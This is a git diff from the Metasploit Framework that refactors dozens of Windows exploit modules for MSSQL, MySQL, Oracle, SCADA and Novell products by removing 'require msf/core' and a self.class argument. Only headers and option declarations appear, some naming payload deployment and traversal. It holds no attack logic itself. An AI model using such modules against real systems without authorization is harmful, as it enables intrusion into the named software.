b/modules/exploits/windows/mssql/ms02_056_hello.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index fda5bfcd30..9c099855f1 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 3dd0997aaa..9892ae9726 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 0a42c5a331..846e4a36d1 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 9320b0a2c7..fe9168a6dd 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/exploit/mssql_commands' class MetasploitModule < Msf::Exploit::Remote @@ -64,12 +63,12 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]), OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']), OptString.new('PASSWORD', [true, 'The password for the specified username']) - ], self.class) + ]) register_advanced_options( [ OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index c3d4cd29e3..c66b9cde09 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 8a79e1cc98..060ba0419b 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index b725efdf71..a4fff41554 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index ec4908d59a..3bbb9514ad 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb index e327a41670..b48fa0c931 100644 --- a/modules/exploits/windows/mysql/mysql_start_up.rb +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -2,8 +2,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/mysql/mysql_yassl_hello.rb b/modules/exploits/windows/mysql/mysql_yassl_hello.rb index b1f4985272..c30b42dcd6 100644 --- a/modules/exploits/windows/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/windows/mysql/mysql_yassl_hello.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 20b75e5f6b..dcab77bb13 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new("MYSQLPORT", [true, 'The MySQL\'s remote port', 3306]), OptPort.new("HTTPPORT", [true, 'The HTTP Server\'s remote port', 80]), OptString.new("TARGETURI", [true, 'The web application\'s base path', '/']) - ], self.class) + ]) # Both MySQL and HTTP need to use this, we'll have to register on the fly. deregister_options('RPORT') diff --git a/modules/exploits/windows/nfs/xlink_nfsd.rb b/modules/exploits/windows/nfs/xlink_nfsd.rb index 7f36adb06e..8034cef89a 100644 --- a/modules/exploits/windows/nfs/xlink_nfsd.rb +++ b/modules/exploits/windows/nfs/xlink_nfsd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 06 2006')) - register_options([Opt::RPORT(2049)], self.class) + register_options([Opt::RPORT(2049)]) end def exploit diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb index cf5ffbafb5..e27987fc5e 100644 --- a/modules/exploits/windows/nntp/ms05_030_nntp.rb +++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index f804a1afeb..93aa4f0b8e 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb index d93490f75f..2493a698ab 100644 --- a/modules/exploits/windows/novell/groupwisemessenger_client.rb +++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 47e020de48..ab9cd8dfca 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/file_dropper' class MetasploitModule < Msf::Exploit::Remote @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb index 91b4b995b8..c7b5944ecd 100644 --- a/modules/exploits/windows/novell/nmap_stor.rb +++ b/modules/exploits/windows/novell/nmap_stor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 23 2006')) - register_options([Opt::RPORT(689)], self.class) + register_options([Opt::RPORT(689)]) end def exploit diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index 9b12cc218e..c3ae5ac7eb 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 98e16a76dc..5c4219d077 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Mar 30 2010', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(998)], self.class) + register_options([Opt::RPORT(998)]) end def junk(n=4) diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb index 5577884048..8983217d66 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Feb 22 2012', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(998)], self.class) + register_options([Opt::RPORT(998)]) end def junk(n=4) diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index bfc3cdb83d..a9391c49fe 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Mar 30 2010', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(998)], self.class) + register_options([Opt::RPORT(998)]) end def junk(n=4) diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb index bd7318ef14..644ed26612 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Feb 22 2012', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(998)], self.class) + register_options([Opt::RPORT(998)]) end def junk(n=4) diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index d018f07b73..13990e0cca 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(1158), OptBool.new('SSL', [true, 'Use SSL', true]), OptInt.new('DEPTH', [true, 'Traversal depth to reach the root', 13]) - ], self.class ) + ]) end def on_new_session(client) diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index 886e55fa56..a305278068 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SID', [ true, 'The database sid', 'ORCL']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/oracle/osb_ndmp_auth.rb b/modules/exploits/windows/oracle/osb_ndmp_auth.rb index e37b98a008..7bb523b75d 100644 --- a/modules/exploits/windows/oracle/osb_ndmp_auth.rb +++ b/modules/exploits/windows/oracle/osb_ndmp_auth.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jan 14 2009', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(10000)], self.class) + register_options([Opt::RPORT(10000)]) end def exploit diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index f59db5a41d..d73d43ef2f 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 28 2001')) - register_options([Opt::RPORT(1521)], self.class) + register_options([Opt::RPORT(1521)]) end def check diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index 21d7fc7fb5..48a28b9440 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('SID', [ true, 'The target database SID', 'ORCL']), Opt::RPORT(1521) - ], self.class) + ]) end diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 4b7cd04159..680b022024 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'May 27 2002')) - register_options([Opt::RPORT(1521)], self.class) + register_options([Opt::RPORT(1521)]) end def check diff --git a/modules/exploits/windows/pop3/seattlelab_pass.rb b/modules/exploits/windows/pop3/seattlelab_pass.rb index 2c04639fb6..cea82790ee 100644 --- a/modules/exploits/windows/pop3/seattlelab_pass.rb +++ b/modules/exploits/windows/pop3/seattlelab_pass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(110) - ], self.class) + ]) end diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index f276c39c82..94d894cd43 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb index 13711e0958..cafeffe631 100644 --- a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb +++ b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class) + ]) end diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb index 1b8875b4e9..8d63dac1ef 100644 --- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb +++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(23), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/proxy/proxypro_http_get.rb b/modules/exploits/windows/proxy/proxypro_http_get.rb index 2006bd8b07..67b8339551 100644 --- a/modules/exploits/windows/proxy/proxypro_http_get.rb +++ b/modules/exploits/windows/proxy/proxypro_http_get.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3128) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index 104269200b..684c03fda2 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb index 467bb0092f..722f7e38cd 100644 --- a/modules/exploits/windows/scada/abb_wserver_exec.rb +++ b/modules/exploits/windows/scada/abb_wserver_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Apr 05 2013' )) - register_options([Opt::RPORT(12221)], self.class) + register_options([Opt::RPORT(12221)]) end def check diff --git a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb index f7f0b1f2ea..ff2f24d640 100644 --- a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb +++ b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/']) - ], self.class) + ]) end def print_status(msg='') diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb index 988432dd45..4e90fbb9d0 100644 --- a/modules/exploits/windows/scada/citect_scada_odbc.rb +++ b/modules/exploits/windows/scada/citect_scada_odbc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -81,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(20222) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index 995fd79dd9..3399115563 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -4,8 +4,6 @@ # http://metasploit.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1211), - ], self.class) + ]) end ## diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index c9232eafd6..3f0c3631d7 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Dec 02 2011' )) - register_options([Opt::RPORT(8080)], self.class) + register_options([Opt::RPORT(8080)]) end def check diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index 95f61cef26..d21db3d590 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote # Required for EIP offset OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]), Opt::RPORT(20034) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/scada/factorylink_csservice.rb b/modules/exploits/windows/scada/factorylink_csservice.rb index 9a8f17a1e5..e6f4e2b570 100644 --- a/modules/exploits/windows/scada/factorylink_csservice.rb +++ b/modules/exploits/windows/scada/factorylink_csservice.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(7580) - ], self.class) + ]) end #User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf diff --git a/modules/exploits/windows/scada/factorylink_vrn_09.rb b/modules/exploits/windows/scada/factorylink_vrn_09.rb index 06edd9cdc4..3ebd56b202 100644 --- a/modules/exploits/windows/scada/factorylink_vrn_09.rb +++ b/modules/exploits/windows/scada/factorylink_vrn_09.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Mar 21 2011')) - register_options([Opt::RPORT(7579)], self.class) + register_options([Opt::RPORT(7579)]) end def exploit diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb index 2a81e8b6db..36304ad77b 100644 --- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb +++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]), OptBool.new('ONLYMAKE', [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]), OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/']) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/scada/iconics_genbroker.rb b/modules/exploits/windows/scada/iconics_genbroker.rb index 9f51cfa0f8..6987e21f1b 100644 --- a/modules/exploits/windows/scada/iconics_genbroker.rb +++ b/modules/exploits/windows/scada/iconics_genbroker.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(38080) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index b956075708..17bd88add6 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb index c107f557ee..1fdc16f497 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(12401) - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb index 8fd355274a..dd3faac6a2 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/scada/igss9_misc.rb b/modules/exploits/windows/scada/igss9_misc.rb index 0dfcda30ea..3c5cf7ea0a 100644 --- a/modules/exploits/windows/scada/igss9_misc.rb +++ b/modules/exploits/windows/scada/igss9_misc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(0, false), - ], self.class) + ]) end def write_packets(data) diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb index 6f63c03418..4dd17b4a7f 100644 --- a/modules/exploits/windows/scada/igss_exec_17.rb +++ b/modules/exploits/windows/scada/igss_exec_17.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(12397) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index 